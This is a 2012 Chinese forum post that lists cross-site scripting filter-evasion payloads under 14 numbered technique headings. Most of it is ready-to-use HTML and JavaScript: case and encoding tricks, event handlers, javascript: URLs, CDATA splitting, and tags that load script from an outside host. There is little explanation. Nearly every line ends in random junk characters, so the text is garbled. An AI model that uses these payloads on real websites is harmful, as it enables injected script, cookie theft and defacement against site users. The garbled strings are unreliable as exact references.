找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2276|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写: j) Z" X3 A; }8 [# X, W1 f
! E1 Q' j1 _2 N2 H

7 ]! u& H' c$ C0 F- ?4 Q7 Z$ J
+ T  c0 J! }# s5 i" k2 U6 o. Y    <sCript>alert(‘d’)</scRipT>
% H, ^9 \6 A. m, o( P* i( j/ t! f( W6 b0 I
2. 利用多加一些其它字符来规避Regular Expression的检查' k2 ~6 O0 v4 W

. j4 s* y: ~$ U7 T$ r    <<script>alert(‘c’)//<</script>
% e3 ^) K. t; y  @! w
5 Q' O/ J/ g9 G( Q    <SCRIPT a=">" SRC="t.js"></SCRIPT>
) g% h: q+ I& M# T
  G/ c& A$ y# T& ]8 x1 K    <SCRIPT =">" SRC="t.js"></SCRIPT>1 W: q" ^# J3 V; s. n# M8 l1 t

0 Z+ k0 @# u6 k* m    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
5 S! p* A  w' V( S  Y) v; z4 ?+ F: `4 l+ X
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>! x& s3 b! b; X9 y1 z1 f; I
" f, k9 b. ^2 W
    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
& ^  B- W: H* {( _- w& N
; m3 h  [3 a" n    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>0 E) u( e( U1 F4 g: f
; D! Q, R( _3 p, e% p/ h
3. 以其它扩展名取代.js$ @0 ~6 C8 i# G# {6 d5 [
5 E& N: E. n8 B( x
    <script src="bad.jpg"></script>4 C0 U( g$ B* [- `; B- v6 G3 ]
& g, R8 i. V+ v3 B
4. 将Javascript写在CSS档里
8 F6 q8 @2 d8 T0 w1 d9 O- \# C: ?' ~4 w% i, O3 [
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' Z6 t3 w9 u% i8 C! f# e

  i/ P) M7 f1 R# q0 f) g1 `       example:$ n! N8 `$ |$ k- x5 G. C

( L# P9 {" W; w% T6 n, G' V          body {* v( H. @" Z$ [! P* r1 `% k
( \; R& _8 t( V5 J- h  ~* d
               background-image: url(‘javascript:alert("XSS");’); ]) z3 Y" T# [. G2 r9 ?
; B+ u# a5 i1 g4 T
          }
6 n) B+ w( k4 s; V0 f
  x. X1 Z9 l. b' q, O( f- Y. {5. 在script的tag里加入一些其它字符6 z/ ?" x* C" T/ `
. Y- D& O3 Z' s( Q, |0 Q4 p, R
    <SCRIPT/SRC="t.js"></SCRIPT>
# ]% {. V/ b+ c" B- ^5 v
5 Z: ?7 W- J3 Y, m6 R& n    <SCRIPT/anyword SRC="t.js"></SCRIPT>8 Y6 h. q9 A2 ?! P

# k) z) f6 W0 o2 z- S$ [0 x8 D6. 使用tab或是new line来规避
& w% @, m9 ^4 `4 D9 d0 @
5 b3 {$ \! S% a6 |# w& z( U& h+ n. @    <img src="jav ascr ipt:alert(‘XSS3′)">( X; ^+ x7 Y/ s; o

6 u% v4 B; |# j  E: F+ M    <img src="jav ascr ipt:alert(‘XSS3′)">* {7 c$ T5 a$ P; K; J) Q

& V6 ?8 D$ Y( P6 i' R; q1 T    <IMG SRC="jav ascript:alert(‘XSS’);">" b0 c, C% S3 W6 G5 D

4 p. K: {7 W/ o: B0 ~9 }4 D, S         -> tag" R& p6 G& T* t& k$ @5 y6 Q
) J1 Q$ ~5 |# H$ [2 t+ Y+ l! E8 v
         -> new line* {9 x+ Y9 [# i6 Y

, o( g" J" Q3 O: v9 s" N7. 使用"\"来规避/ ^3 Q- j3 K: f! w7 x0 B. U/ R4 z
0 E$ x% R7 s; l" d6 p' E6 [, |
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
: b- m" O$ D0 ^; i  P& Z. f, O6 D7 r7 g4 [9 M9 k5 F  w6 [- e: T1 x
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>$ S8 @9 M7 Y8 B& O" ]( K

/ Z$ A8 H3 Y% b2 t0 B" G* M  s    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
2 e0 _/ W2 t2 J" _
1 p3 q+ s6 n/ r. V- [5 D: n    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" Z6 c' A, k4 D' L
8 p  G  }; E5 P& a8 m
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
* a4 N0 @( w0 M# K/ r1 T7 ^' ]4 w1 u$ z; @6 {/ e1 X
8. 使用Hex encode来规避(也可能会把";"拿掉)6 |: d/ Z+ P3 {- F" e, k" @
0 o) x3 ~1 q) P$ E- p' s/ q
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( d/ a2 a- \) Z  R7 h( V$ r5 [. G# K2 w, [/ H  X* e
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">. \& V0 L: y2 d: `

- d, v9 b- t* ?    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">+ J) J" ], S1 |4 y4 `1 N# s

" j, {/ {% u& `5 C' z( _        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
" A4 w; D( ]( o8 Y, d& O5 c* F) U+ L
3 _; o; `$ L6 h6 A# |9. script in HTML tag" {) W3 ]+ U1 n' T, O3 T8 N

' d9 V# |$ C3 n0 `    <body onload=」alert(‘onload’)」>
' W4 j6 \0 _6 c
) u" {6 m: w& b' Y        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
7 |7 w! A2 e: L) \: Y" S3 ]& C- O6 X4 z, k' j: m6 A4 u
10. 在swf里含有xss的code
! u" x* V$ ~- C" ?' o
! f+ O/ p  G" D8 L9 R2 t; W8 E    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
' h4 x% I8 z7 u8 [  |/ M4 @/ H7 z8 U7 v7 t
11. 利用CDATA将xss的code拆开,再组合起来。
- y! m- ?; |9 M# j9 Y5 c# U- q$ V* _2 i
    <XML ID=I><X><C>
5 T2 k( p& x: z8 D7 u/ \1 `9 V
8 A( d% ~/ l& d0 P0 A" w' W    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
: t- z2 J6 c' x+ H, M7 [/ B9 s+ h$ n) {0 U8 ?
    </C></X>
) R& S6 h4 j, @/ O) P" b4 V
; _& x. ?3 _, D: }    </xml># L" W0 o$ Y# r: D- }8 Q  ]0 w0 F
, G. l+ K  n" S* ?& B3 n  c  ?
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>9 |* }; u: ?3 }
" B7 i6 \  D+ K* J
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
! D+ d/ ^9 j6 |: w: Q# _
4 X2 L7 R* {2 g$ C, w0 k5 `    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
" |5 y; J& z+ M. x6 D
& P6 \& m0 i# E' B) g12. 利用HTML+TIME。
1 _4 ~& n( i' t8 K) W- P/ U
$ W6 x3 X! G8 r* Y- j+ }    <HTML><BODY>7 O7 _. Q8 f9 ~8 R3 B- u
% X8 Y+ J9 h& `, d) L# k
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">$ b2 F# H1 Z5 F: s$ C, t/ i2 `% u3 ~

# w; Y8 A$ c0 }    <?import namespace="t" implementation="#default#time2">9 i6 X5 O1 s- t7 z
* L$ }% h0 m. [$ _
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">6 t$ v) z- M4 [

6 Z; Q. M! ~6 `1 y2 N    </BODY></HTML>$ K' j6 G* P- x7 c

# S- N. f4 C. j! q4 U8 g13. 透过META写入Cookie。  @2 A5 O/ ]1 S/ R& |- O7 H7 i
# {! P1 T1 Z" @  C% C- t, W
    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">1 j) T# ~7 N# Q- n. K5 }/ Z
1 S' J+ I! g0 M& g0 o/ O
14. javascript in src , href , url/ U/ I0 G" A/ B% Z  j- u3 Q' z
3 M) m9 `) {- n  i; T1 k
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
6 K2 {4 D) [- A4 }0 b- F' P  r0 u9 H$ q0 |( f5 `
    <img src="javascript:alert(‘XSS3′)">. P. _' x. W; n8 |% H
8 t& E* a- }9 g9 Y$ \  n5 Q
<IMG DYNSRC="javascript:alert(‘XSS20′)">. h6 Z8 x6 t8 \
# z; }) p" R  r3 f1 `4 K) T. {  }
    <IMG LOWSRC="javascript:alert(‘XSS21′)">& I+ {$ A0 E8 `
/ v& e6 T2 [0 y( \: a) s* q
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">1 }( [5 d, h& S- Q0 A9 q

  q* y! R* o0 i* b    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
8 ^& C# ]7 g! g5 g( J2 A" A1 ]9 A2 d+ H/ _1 u" E' ]
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">9 R" o  O4 K; ^

, Y6 v; g9 [8 r! R6 j1 |4 j    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
& g* v3 C; v4 i" W8 p
- l# o5 V. s9 E8 M1 I    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}( S  I+ S% h& X6 e& }! ^$ I: t
$ ]. {% C9 p4 w- A/ m9 [+ l5 k
    </STYLE><A CLASS=XSS></A>
$ V# q) ^. y4 h7 T  w; m3 S2 I+ {4 W
/ C/ [8 O+ a% [6 l. ~0 c9 O    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET># Y$ T. j# r8 \
) l  L8 ]& s6 P. v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表